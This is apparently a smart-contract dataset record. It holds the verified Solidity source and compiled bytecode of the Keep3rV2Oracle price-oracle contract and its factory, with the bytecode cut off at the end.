565b5090565b61330291905b808211156132fe5760008160009055506001016132e6565b5090565b905600a165627a7a7230582018eeb5e1d88ec4b4105c0a874f59762eb0c2a81aff9bb7ac30714cbf6c3279220029
{"success": true, "error": null, "results": {}}
3,180
0x44f505675fb7daf813678889962f120b6515e149
/** *Submitted for verification at Etherscan.io on 2021-07-09 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.2; interface IUniswapV2Pair { function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function token0() external view returns (address); function token1() external view returns (address); } interface IKeep3rV1 { function keepers(address keeper) external returns (bool); function KPRH() external view returns (IKeep3rV1Helper); function receipt(address credit, address keeper, uint amount) external; } interface IKeep3rV1Helper { function getQuoteLimit(uint gasUsed) external view returns (uint); } // sliding oracle that uses observations collected to provide moving price averages in the past contract Keep3rV2Oracle { constructor(address _pair) { _factory = msg.sender; pair = _pair; (,,uint32 timestamp) = IUniswapV2Pair(_pair).getReserves(); uint112 _price0CumulativeLast = uint112(IUniswapV2Pair(_pair).price0CumulativeLast() * e10 / Q112); uint112 _price1CumulativeLast = uint112(IUniswapV2Pair(_pair).price1CumulativeLast() * e10 / Q112); observations[length++] = Observation(timestamp, _price0CumulativeLast, _price1CumulativeLast); } struct Observation { uint32 timestamp; uint112 price0Cumulative; uint112 price1Cumulative; } modifier factory() { require(msg.sender == _factory, "!F"); _; } Observation[65535] public observations; uint16 public length; address immutable _factory; address immutable public pair; // this is redundant with granularity and windowSize, but stored for gas savings & informational purposes. uint constant periodSize = 1800; uint Q112 = 2**112; uint e10 = 10**18; // Pre-cache slots for cheaper oracle writes function cache(uint size) external { uint _length = length+size; for (uint i = length; i < _length; i++) observations[i].timestamp = 1; } // update the current feed for free function update() external factory returns (bool) { return _update(); } function updateable() external view returns (bool) { Observation memory _point = observations[length-1]; (,, uint timestamp) = IUniswapV2Pair(pair).getReserves(); uint timeElapsed = timestamp - _point.timestamp; return timeElapsed > periodSize; } function _update() internal returns (bool) { Observation memory _point = observations[length-1]; (,, uint32 timestamp) = IUniswapV2Pair(pair).getReserves(); uint32 timeElapsed = timestamp - _point.timestamp; if (timeElapsed > periodSize) { uint112 _price0CumulativeLast = uint112(IUniswapV2Pair(pair).price0CumulativeLast() * e10 / Q112); uint112 _price1CumulativeLast = uint112(IUniswapV2Pair(pair).price1CumulativeLast() * e10 / Q112); observations[length++] = Observation(timestamp, _price0CumulativeLast, _price1CumulativeLast); return true; } return false; } function _computeAmountOut(uint start, uint end, uint elapsed, uint amountIn) internal view returns (uint amountOut) { amountOut = amountIn * (end - start) / e10 / elapsed; } function current(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut, uint lastUpdatedAgo) { (address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn); Observation memory _observation = observations[length-1]; uint price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast() * e10 / Q112; uint price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast() * e10 / Q112; (,,uint timestamp) = IUniswapV2Pair(pair).getReserves(); // Handle edge cases where we have no updates, will revert on first reading set if (timestamp == _observation.timestamp) { _observation = observations[length-2]; } uint timeElapsed = timestamp - _observation.timestamp; timeElapsed = timeElapsed == 0 ? 1 : timeElapsed; if (token0 == tokenIn) { amountOut = _computeAmountOut(_observation.price0Cumulative, price0Cumulative, timeElapsed, amountIn); } else { amountOut = _computeAmountOut(_observation.price1Cumulative, price1Cumulative, timeElapsed, amountIn); } lastUpdatedAgo = timeElapsed; } function quote(address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint amountOut, uint lastUpdatedAgo) { (address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn); uint priceAverageCumulative = 0; uint _length = length-1; uint i = _length - points; Observation memory currentObservation; Observation memory nextObservation; uint nextIndex = 0; if (token0 == tokenIn) { for (; i < _length; i++) { nextIndex = i+1; currentObservation = observations[i]; nextObservation = observations[nextIndex]; priceAverageCumulative += _computeAmountOut( currentObservation.price0Cumulative, nextObservation.price0Cumulative, nextObservation.timestamp - currentObservation.timestamp, amountIn); } } else { for (; i < _length; i++) { nextIndex = i+1; currentObservation = observations[i]; nextObservation = observations[nextIndex]; priceAverageCumulative += _computeAmountOut( currentObservation.price1Cumulative, nextObservation.price1Cumulative, nextObservation.timestamp - currentObservation.timestamp, amountIn); } } amountOut = priceAverageCumulative / points; (,,uint timestamp) = IUniswapV2Pair(pair).getReserves(); lastUpdatedAgo = timestamp - nextObservation.timestamp; } function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory prices, uint lastUpdatedAgo) { (address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn); prices = new uint[](points); if (token0 == tokenIn) { { uint _length = length-1; uint i = _length - (points * window); uint _index = 0; Observation memory nextObservation; for (; i < _length; i+=window) { Observation memory currentObservation; currentObservation = observations[i]; nextObservation = observations[i + window]; prices[_index] = _computeAmountOut( currentObservation.price0Cumulative, nextObservation.price0Cumulative, nextObservation.timestamp - currentObservation.timestamp, amountIn); _index = _index + 1; } (,,uint timestamp) = IUniswapV2Pair(pair).getReserves(); lastUpdatedAgo = timestamp - nextObservation.timestamp; } } else { { uint _length = length-1; uint i = _length - (points * window); uint _index = 0; Observation memory nextObservation; for (; i < _length; i+=window) { Observation memory currentObservation; currentObservation = observations[i]; nextObservation = observations[i + window]; prices[_index] = _computeAmountOut( currentObservation.price1Cumulative, nextObservation.price1Cumulative, nextObservation.timestamp - currentObservation.timestamp, amountIn); _index = _index + 1; } (,,uint timestamp) = IUniswapV2Pair(pair).getReserves(); lastUpdatedAgo = timestamp - nextObservation.timestamp; } } } } contract Keep3rV2OracleFactory { function pairForSushi(address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint160(uint256(keccak256(abi.encodePacked( hex'ff', 0xc35DADB65012eC5796536bD9864eD8773aBc74C4, keccak256(abi.encodePacked(token0, token1)), hex'e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303' // init code hash ))))); } function pairForUni(address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint160(uint256(keccak256(abi.encodePacked( hex'ff', 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash ))))); } modifier keeper() { require(KP3R.keepers(msg.sender), "!K"); _; } modifier upkeep() { uint _gasUsed = gasleft(); require(KP3R.keepers(msg.sender), "!K"); _; uint _received = KP3R.KPRH().getQuoteLimit(_gasUsed - gasleft()); KP3R.receipt(address(KP3R), msg.sender, _received); } address public governance; address public pendingGovernance; /** * @notice Allows governance to change governance (for future upgradability) * @param _governance new governance address to set */ function setGovernance(address _governance) external { require(msg.sender == governance, "!G"); pendingGovernance = _governance; } /** * @notice Allows pendingGovernance to accept their role as governance (protection pattern) */ function acceptGovernance() external { require(msg.sender == pendingGovernance, "!pG"); governance = pendingGovernance; } IKeep3rV1 public constant KP3R = IKeep3rV1(0x1cEB5cB57C4D4E2b2433641b95Dd330A33185A44); address[] internal _pairs; mapping(address => Keep3rV2Oracle) public feeds; function pairs() external view returns (address[] memory) { return _pairs; } constructor() { governance = msg.sender; } function update(address pair) external keeper returns (bool) { return feeds[pair].update(); } function byteCode(address pair) external pure returns (bytes memory bytecode) { bytecode = abi.encodePacked(type(Keep3rV2Oracle).creationCode, abi.encode(pair)); } function deploy(address pair) external returns (address feed) { require(msg.sender == governance, "!G"); require(address(feeds[pair]) == address(0), 'PE'); bytes memory bytecode = abi.encodePacked(type(Keep3rV2Oracle).creationCode, abi.encode(pair)); bytes32 salt = keccak256(abi.encodePacked(pair)); assembly { feed := create2(0, add(bytecode, 0x20), mload(bytecode), salt) if iszero(extcodesize(feed)) { revert(0, 0) } } feeds[pair] = Keep3rV2Oracle(feed); _pairs.push(pair); } function work() external upkeep { require(workable(), "!W"); for (uint i = 0; i < _pairs.length; i++) { feeds[_pairs[i]].update(); } } function work(address pair) external upkeep { require(feeds[pair].update(), "!W"); } function workForFree() external keeper { for (uint i = 0; i < _pairs.length; i++) { feeds[_pairs[i]].update(); } } function workForFree(address pair) external keeper { feeds[pair].update(); } function cache(uint size) external { for (uint i = 0; i < _pairs.length; i++) { feeds[_pairs[i]].cache(size); } } function cache(address pair, uint size) external { feeds[pair].cache(size); } function workable() public view returns (bool canWork) { canWork = true; for (uint i = 0; i < _pairs.length; i++) { if (!feeds[_pairs[i]].updateable()) { canWork = false; } } } function workable(address pair) public view returns (bool) { return feeds[pair].updateable(); } function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window, bool sushiswap) external view returns (uint[] memory prices, uint lastUpdatedAgo) { address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut); return feeds[_pair].sample(tokenIn, amountIn, tokenOut, points, window); } function sample(address pair, address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory prices, uint lastUpdatedAgo) { return feeds[pair].sample(tokenIn, amountIn, tokenOut, points, window); } function quote(address tokenIn, uint amountIn, address tokenOut, uint points, bool sushiswap) external view returns (uint amountOut, uint lastUpdatedAgo) { address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut); return feeds[_pair].quote(tokenIn, amountIn, tokenOut, points); } function quote(address pair, address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint amountOut, uint lastUpdatedAgo) { return feeds[pair].quote(tokenIn, amountIn, tokenOut, points); } function current(address tokenIn, uint amountIn, address tokenOut, bool sushiswap) external view returns (uint amountOut, uint lastUpdatedAgo) { address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut); return feeds[_pair].current(tokenIn, amountIn, tokenOut); } function current(address pair, address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut, uint lastUpdatedAgo) { return feeds[pair].current(tokenIn, amountIn, tokenOut); } }
0x60806040523480156200001157600080fd5b5060043610620001755760003560e01c8063399b2fb911620000d35780639f47130311620000865780639f4713031462000360578063ab033ea91462000377578063ac835592146200038e578063f39c38a014620003a5578063fe54cee614620003b9578063ffb0a4a014620003d057600080fd5b8063399b2fb914620002f35780634c96a38914620002fd57806350d4d86614620003145780635aa6e675146200032b578063740c25a2146200033f57806380bb2bac146200035657600080fd5b8063273c9d72116200012c578063273c9d7214620002525780632fba4aa9146200026957806331ff3e9f1462000295578063322e9f0414620002ac57806336df7ea514620002b6578063376346de14620002cd57600080fd5b806305e0b9a0146200017a578063122ba6d114620001b357806317bf72c614620001da5780631c1b877214620001f3578063238efcbc146200021b57806323c87faf1462000225575b600080fd5b62000196731ceb5cb57c4d4e2b2433641b95dd330a33185a4481565b6040516001600160a01b0390911681526020015b60405180910390f35b620001ca620001c436600462001cc7565b620003e9565b604051620001aa92919062001f1e565b620001f1620001eb36600462001e46565b620004d5565b005b6200020a6200020436600462001a9b565b620005a1565b6040519015158152602001620001aa565b620001f1620006e7565b6200023c6200023636600462001c62565b6200074d565b60408051928352602083019190915201620001aa565b6200023c6200026336600462001ac1565b6200082c565b620001966200027a36600462001a9b565b6003602052600090815260409020546001600160a01b031681565b6200023c620002a636600462001c14565b620008da565b620001f1620009b1565b620001f1620002c736600462001a9b565b62000d14565b620002e4620002de36600462001a9b565b62001015565b604051620001aa919062001f68565b620001f162001084565b620001966200030e36600462001a9b565b62001212565b620001ca6200032536600462001b7b565b620013c2565b60005462000196906001600160a01b031681565b620001f16200035036600462001a9b565b62001486565b6200020a620015ba565b6200020a6200037136600462001a9b565b620016ad565b620001f16200038836600462001a9b565b62001715565b620001f16200039f36600462001be6565b62001778565b60015462000196906001600160a01b031681565b6200023c620003ca36600462001b1a565b620017b9565b620003da6200186f565b604051620001aa919062001ecf565b6060600080836200040657620004008988620018d3565b62000412565b620004128988620019be565b6001600160a01b038181166000908152600360205260409081902054905163014f267360e31b81528c83166004820152602481018c90528a83166044820152606481018a9052608481018990529293501690630a7933989060a40160006040518083038186803b1580156200048657600080fd5b505afa1580156200049b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052620004c5919081019062001d34565b9250925050965096945050505050565b60005b6002548110156200059d5760036000600283815481106200050957634e487b7160e01b600052603260045260246000fd5b6000918252602080832091909101546001600160a01b0390811684529083019390935260409182019020549051630bdfb96360e11b8152600481018590529116906317bf72c690602401600060405180830381600087803b1580156200056e57600080fd5b505af115801562000583573d6000803e3d6000fd5b505050508080620005949062002006565b915050620004d8565b5050565b604051630eef592f60e21b8152336004820152600090731ceb5cb57c4d4e2b2433641b95dd330a33185a4490633bbd64bc90602401602060405180830381600087803b158015620005f157600080fd5b505af115801562000606573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200062c919062001e08565b620006545760405162461bcd60e51b81526004016200064b9062001f9d565b60405180910390fd5b6001600160a01b03808316600090815260036020908152604080832054815163a2e6204560e01b8152915194169363a2e6204593600480840194938390030190829087803b158015620006a657600080fd5b505af1158015620006bb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620006e1919062001e08565b92915050565b6001546001600160a01b03163314620007295760405162461bcd60e51b815260206004820152600360248201526221704760e81b60448201526064016200064b565b600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000806000836200076a57620007648887620018d3565b62000776565b620007768887620019be565b6001600160a01b038181166000908152600360205260409081902054905163ae6ec9b760e01b81528b83166004820152602481018b9052898316604482015260648101899052929350169063ae6ec9b790608401604080518083038186803b158015620007e257600080fd5b505afa158015620007f7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200081d919062001e78565b92509250509550959350505050565b6001600160a01b038481166000908152600360205260408082205490516353ae9ce160e11b815286841660048201526024810186905284841660448201529192839291169063a75d39c290606401604080518083038186803b1580156200089257600080fd5b505afa158015620008a7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620008cd919062001e78565b9150915094509492505050565b600080600083620008f757620008f18786620018d3565b62000903565b620009038786620019be565b6001600160a01b03818116600090815260036020526040908190205490516353ae9ce160e11b81528a83166004820152602481018a90528883166044820152929350169063a75d39c290606401604080518083038186803b1580156200096857600080fd5b505afa1580156200097d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620009a3919062001e78565b925092505094509492505050565b60005a604051630eef592f60e21b8152336004820152909150731ceb5cb57c4d4e2b2433641b95dd330a33185a4490633bbd64bc90602401602060405180830381600087803b15801562000a0457600080fd5b505af115801562000a19573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000a3f919062001e08565b62000a5e5760405162461bcd60e51b81526004016200064b9062001f9d565b62000a68620015ba565b62000a9b5760405162461bcd60e51b8152602060048201526002602482015261215760f01b60448201526064016200064b565b60005b60025481101562000b7f57600360006002838154811062000acf57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b039081168452838201949094526040928301822054835163a2e6204560e01b8152935194169363a2e6204593600480820194918390030190829087803b15801562000b2e57600080fd5b505af115801562000b43573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000b69919062001e08565b508062000b768162002006565b91505062000a9e565b506000731ceb5cb57c4d4e2b2433641b95dd330a33185a446001600160a01b03166309aff02b6040518163ffffffff1660e01b815260040160206040518083038186803b15801562000bd057600080fd5b505afa15801562000be5573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000c0b919062001e27565b6001600160a01b031663525ea6315a62000c26908562001fb9565b6040518263ffffffff1660e01b815260040162000c4591815260200190565b60206040518083038186803b15801562000c5e57600080fd5b505afa15801562000c73573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000c99919062001e5f565b6040516346cd669760e11b8152731ceb5cb57c4d4e2b2433641b95dd330a33185a446004820181905233602483015260448201839052919250638d9acd2e906064015b600060405180830381600087803b15801562000cf757600080fd5b505af115801562000d0c573d6000803e3d6000fd5b505050505050565b60005a604051630eef592f60e21b8152336004820152909150731ceb5cb57c4d4e2b2433641b95dd330a33185a4490633bbd64bc90602401602060405180830381600087803b15801562000d6757600080fd5b505af115801562000d7c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000da2919062001e08565b62000dc15760405162461bcd60e51b81526004016200064b9062001f9d565b6001600160a01b03808316600090815260036020908152604080832054815163a2e6204560e01b8152915194169363a2e6204593600480840194938390030190829087803b15801562000e1357600080fd5b505af115801562000e28573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000e4e919062001e08565b62000e815760405162461bcd60e51b8152602060048201526002602482015261215760f01b60448201526064016200064b565b6000731ceb5cb57c4d4e2b2433641b95dd330a33185a446001600160a01b03166309aff02b6040518163ffffffff1660e01b815260040160206040518083038186803b15801562000ed157600080fd5b505afa15801562000ee6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000f0c919062001e27565b6001600160a01b031663525ea6315a62000f27908562001fb9565b6040518263ffffffff1660e01b815260040162000f4691815260200190565b60206040518083038186803b15801562000f5f57600080fd5b505afa15801562000f74573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000f9a919062001e5f565b6040516346cd669760e11b8152731ceb5cb57c4d4e2b2433641b95dd330a33185a446004820181905233602483015260448201839052919250638d9acd2e90606401600060405180830381600087803b15801562000ff757600080fd5b505af11580156200100c573d6000803e3d6000fd5b50505050505050565b606060405180602001620010299062001a8d565b601f1982820381018352601f9091011660408181526001600160a01b03851660208301520160408051601f19818403018152908290526200106e929160200162001e9c565b6040516020818303038152906040529050919050565b604051630eef592f60e21b8152336004820152731ceb5cb57c4d4e2b2433641b95dd330a33185a4490633bbd64bc90602401602060405180830381600087803b158015620010d157600080fd5b505af1158015620010e6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200110c919062001e08565b6200112b5760405162461bcd60e51b81526004016200064b9062001f9d565b60005b6002548110156200120f5760036000600283815481106200115f57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b039081168452838201949094526040928301822054835163a2e6204560e01b8152935194169363a2e6204593600480820194918390030190829087803b158015620011be57600080fd5b505af1158015620011d3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620011f9919062001e08565b5080620012068162002006565b9150506200112e565b50565b600080546001600160a01b03163314620012545760405162461bcd60e51b8152602060048201526002602482015261214760f01b60448201526064016200064b565b6001600160a01b038281166000908152600360205260409020541615620012a35760405162461bcd60e51b8152602060048201526002602482015261504560f01b60448201526064016200064b565b600060405180602001620012b79062001a8d565b601f1982820381018352601f9091011660408181526001600160a01b03861660208301520160408051601f1981840301815290829052620012fc929160200162001e9c565b60408051601f19818403018152908290526001600160601b0319606086901b1660208301529150600090603401604051602081830303815290604052805190602001209050808251602084016000f59250823b6200135957600080fd5b50506001600160a01b03918216600081815260036020526040812080549484166001600160a01b03199586161790556002805460018101825591527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace0180549093161790915590565b6001600160a01b0386811660009081526003602052604080822054905163014f267360e31b8152888416600482015260248101889052868416604482015260648101869052608481018590526060939190911690630a7933989060a40160006040518083038186803b1580156200143857600080fd5b505afa1580156200144d573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405262001477919081019062001d34565b91509150965096945050505050565b604051630eef592f60e21b8152336004820152731ceb5cb57c4d4e2b2433641b95dd330a33185a4490633bbd64bc90602401602060405180830381600087803b158015620014d357600080fd5b505af1158015620014e8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200150e919062001e08565b6200152d5760405162461bcd60e51b81526004016200064b9062001f9d565b6001600160a01b03808216600090815260036020908152604080832054815163a2e6204560e01b8152915194169363a2e6204593600480840194938390030190829087803b1580156200157f57600080fd5b505af115801562001594573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200059d919062001e08565b600160005b600254811015620016a9576003600060028381548110620015f057634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03908116845283820194909452604092830190912054825163983586d960e01b8152925193169263983586d9926004808201939291829003018186803b1580156200164f57600080fd5b505afa15801562001664573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200168a919062001e08565b6200169457600091505b80620016a08162002006565b915050620015bf565b5090565b6001600160a01b03808216600090815260036020908152604080832054815163983586d960e01b815291519394169263983586d992600480840193919291829003018186803b1580156200170057600080fd5b505afa158015620006bb573d6000803e3d6000fd5b6000546001600160a01b03163314620017565760405162461bcd60e51b8152602060048201526002602482015261214760f01b60448201526064016200064b565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0382811660009081526003602052604090819020549051630bdfb96360e11b8152600481018490529116906317bf72c69060240162000cdc565b6001600160a01b0385811660009081526003602052604080822054905163ae6ec9b760e01b81528784166004820152602481018790528584166044820152606481018590529192839291169063ae6ec9b790608401604080518083038186803b1580156200182657600080fd5b505afa1580156200183b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001861919062001e78565b915091509550959350505050565b60606002805480602002602001604051908101604052809291908181526020018280548015620018c957602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311620018aa575b5050505050905090565b6000806000836001600160a01b0316856001600160a01b031610620018fa578385620018fd565b84845b60408051606084811b6001600160601b03199081166020808501919091529185901b166034830152825160288184030181526048830190935282519201919091206001600160f81b03196068830152735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f60601b6069830152607d8201527f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f609d820152919350915060bd015b60408051601f19818403018152919052805160209091012095945050505050565b6000806000836001600160a01b0316856001600160a01b031610620019e5578385620019e8565b84845b60408051606084811b6001600160601b03199081166020808501919091529185901b166034830152825160288184030181526048830190935282519201919091206001600160f81b031960688301527330d76b6d9404bb15e594daf66193b61dceaf1d3160621b6069830152607d8201527fe18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303609d820152919350915060bd016200199d565b611c77806200207683390190565b60006020828403121562001aad578081fd5b813562001aba8162002050565b9392505050565b6000806000806080858703121562001ad7578283fd5b843562001ae48162002050565b9350602085013562001af68162002050565b925060408501359150606085013562001b0f8162002050565b939692955090935050565b600080600080600060a0868803121562001b32578081fd5b853562001b3f8162002050565b9450602086013562001b518162002050565b935060408601359250606086013562001b6a8162002050565b949793965091946080013592915050565b60008060008060008060c0878903121562001b94578081fd5b863562001ba18162002050565b9550602087013562001bb38162002050565b945060408701359350606087013562001bcc8162002050565b9598949750929560808101359460a0909101359350915050565b6000806040838503121562001bf9578182fd5b823562001c068162002050565b946020939093013593505050565b6000806000806080858703121562001c2a578384fd5b843562001c378162002050565b935060208501359250604085013562001c508162002050565b9150606085013562001b0f8162002066565b600080600080600060a0868803121562001c7a578081fd5b853562001c878162002050565b945060208601359350604086013562001ca08162002050565b925060608601359150608086013562001cb98162002066565b809150509295509295909350565b60008060008060008060c0878903121562001ce0578182fd5b863562001ced8162002050565b955060208701359450604087013562001d068162002050565b9350606087013592506080870135915060a087013562001d268162002066565b809150509295509295509295565b6000806040838503121562001d47578182fd5b825167ffffffffffffffff8082111562001d5f578384fd5b818501915085601f83011262001d73578384fd5b815160208282111562001d8a5762001d8a6200203a565b8160051b604051601f19603f8301168101818110868211171562001db25762001db26200203a565b604052838152828101945085830182870184018b101562001dd1578889fd5b8896505b8487101562001df557805186526001969096019594830194830162001dd5565b5097909101519698969750505050505050565b60006020828403121562001e1a578081fd5b815162001aba8162002066565b60006020828403121562001e39578081fd5b815162001aba8162002050565b60006020828403121562001e58578081fd5b5035919050565b60006020828403121562001e71578081fd5b5051919050565b6000806040838503121562001e8b578182fd5b505080516020909101519092909150565b6000835162001eb081846020880162001fd3565b83519083019062001ec681836020880162001fd3565b01949350505050565b6020808252825182820181905260009190848201906040850190845b8181101562001f125783516001600160a01b03168352928401929184019160010162001eeb565b50909695505050505050565b604080825283519082018190526000906020906060840190828701845b8281101562001f595781518452928401929084019060010162001f3b565b50505092019290925292915050565b602081526000825180602084015262001f8981604085016020870162001fd3565b601f01601f19169190910160400192915050565b602080825260029082015261214b60f01b604082015260600190565b60008282101562001fce5762001fce62002024565b500390565b60005b8381101562001ff057818101518382015260200162001fd6565b8381111562002000576000848401525b50505050565b60006000198214156200201d576200201d62002024565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146200120f57600080fd5b80151581146200120f57600080fdfe60c0604052600160701b6201000055670de0b6b3a764000062010001553480156200002957600080fd5b5060405162001c7738038062001c778339810160408190526200004c9162000319565b33606090811b6080526001600160601b031982821b1660a05260408051630240bc6b60e21b815290516000926001600160a01b03851692630902f1ac9260048083019392829003018186803b158015620000a557600080fd5b505afa158015620000ba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620000e0919062000349565b92505050600062010000546201000154846001600160a01b0316635909c0d56040518163ffffffff1660e01b815260040160206040518083038186803b1580156200012a57600080fd5b505afa1580156200013f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200016591906200039d565b620001719190620003d7565b6200017d9190620003b6565b9050600062010000546201000154856001600160a01b0316635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b158015620001c557600080fd5b505afa158015620001da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200020091906200039d565b6200020c9190620003d7565b620002189190620003b6565b6040805160608101825263ffffffff861681526001600160701b03808616602083015283169181019190915261ffff8054929350909160009190811690826200026183620003f9565b91906101000a81548161ffff021916908361ffff16021790555061ffff1661ffff81106200029f57634e487b7160e01b600052603260045260246000fd5b825191018054602084015160409094015163ffffffff9093166001600160901b0319909116176401000000006001600160701b0394851602176001600160901b0316600160901b9390921692909202179055506200043492505050565b80516001600160701b03811681146200031457600080fd5b919050565b6000602082840312156200032b578081fd5b81516001600160a01b038116811462000342578182fd5b9392505050565b6000806000606084860312156200035e578182fd5b6200036984620002fc565b92506200037960208501620002fc565b9150604084015163ffffffff8116811462000392578182fd5b809150509250925092565b600060208284031215620003af578081fd5b5051919050565b600082620003d257634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615620003f457620003f46200041e565b500290565b600061ffff808316818114156200041457620004146200041e565b6001019392505050565b634e487b7160e01b600052601160045260246000fd5b60805160601c60a05160601c6117d1620004a6600039600081816101830152818161041f0152818161067b0152818161088001528181610a6401528181610b0301528181610bac01528181611043015281816111d00152818161127f01526113320152600061093001526117d16000f3fe608060405234801561001057600080fd5b50600436106100935760003560e01c8063983586d911610066578063983586d914610136578063a2e620451461014e578063a75d39c214610156578063a8aa1b311461017e578063ae6ec9b7146101bd57600080fd5b80630a7933981461009857806317bf72c6146100c25780631f7b6d32146100d7578063252c09d7146100f7575b600080fd5b6100ab6100a6366004611587565b6101d0565b6040516100b9929190611652565b60405180910390f35b6100d56100d0366004611622565b610737565b005b61ffff80546100e4911681565b60405161ffff90911681526020016100b9565b61010a610105366004611622565b6107b1565b6040805163ffffffff90941684526001600160701b0392831660208501529116908201526060016100b9565b61013e6107ea565b60405190151581526020016100b9565b61013e610923565b610169610164366004611509565b610993565b604080519283526020830191909152016100b9565b6101a57f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016100b9565b6101696101cb366004611544565b610d5c565b6060600080856001600160a01b0316886001600160a01b0316106101f55785886101f8565b87865b5090508467ffffffffffffffff81111561022257634e487b7160e01b600052604160045260246000fd5b60405190808252806020026020018201604052801561024b578160200160208202803683370190505b509250876001600160a01b0316816001600160a01b031614156104d45761ffff805460009161027d91600191166116f1565b61ffff169050600061028f86886116d2565b6102999083611714565b60408051606081018252600080825260208201819052918101829052919250905b8383101561041b5760408051606081018252600080825260208201819052918101829052908461ffff81106102ff57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152905060006103488a8661169a565b61ffff811061036757634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020808701829052600160901b9094048216948601949094529185015185519496506103d094921692916103c49161172b565b63ffffffff168f6110ff565b8884815181106103f057634e487b7160e01b600052603260045260246000fd5b602090810291909101015261040683600161169a565b92506104149050888461169a565b92506102ba565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561047657600080fd5b505afa15801561048a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ae91906115d4565b845163ffffffff91821694506104c8935016905082611714565b9650505050505061072c565b61ffff80546000916104e991600191166116f1565b61ffff16905060006104fb86886116d2565b6105059083611714565b60408051606081018252600080825260208201819052918101829052919250905b838310156106775760408051606081018252600080825260208201819052918101829052908461ffff811061056b57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152905060006105b48a8661169a565b61ffff81106105d357634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020860152600160901b909204821684840181905292850151855194965061062c94921692916103c49161172b565b88848151811061064c57634e487b7160e01b600052603260045260246000fd5b602090810291909101015261066283600161169a565b92506106709050888461169a565b9250610526565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381